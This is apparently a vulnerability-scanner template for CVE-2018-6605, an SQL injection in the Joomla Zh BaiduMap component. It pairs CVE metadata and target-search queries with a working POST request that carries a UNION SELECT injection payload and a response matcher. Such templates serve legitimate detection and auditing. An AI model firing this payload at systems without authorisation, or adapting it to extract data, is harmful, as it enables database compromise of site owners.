Joomla! Component Zh BaiduMap 3.0.0.1 - SQL Injection

id: CVE-2018-6605

info:
  name: Joomla! Component Zh BaiduMap 3.0.0.1 - SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    SQL Injection exists in the Zh BaiduMap 3.0.0.1 component for Joomla! via the id parameter in a getPlacemarkDetails, getPlacemarkHoverText, getPathHoverText, or getPathDetails request.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Joomla installation.
  remediation: |
    Remove the vulnerable Zh BaiduMap component or upgrade to a patched version.
  reference:
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/C0reL0ader/EaST/blob/master/exploits/efa_joomla_zh_baidumap_sqli.py
    - https://www.exploit-db.com/exploits/43974
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-6605
    cwe-id: CWE-89
    epss-score: 0.58324
    epss-percentile: 0.98975
    cpe: cpe:2.3:a:zh_baidumap_project:zh_baidumap:3.0.0.1:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: zh_baidumap_project
    product: zh_baidumap
    framework: joomla\!
    fofa-query:
      - app="Joomla!-网站安装"
      - app="joomla!-网站安装"
  tags: cve,cve2018,joomla,sqli,joomla\!,zh_baidumap_project,vkev,vuln
variables:
  num: "{{rand_int(2000000000, 2100000000)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails"

    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "{{md5(num)}}"
          - "dataexists"
        part: body

      - type: status
        status:
          - 200
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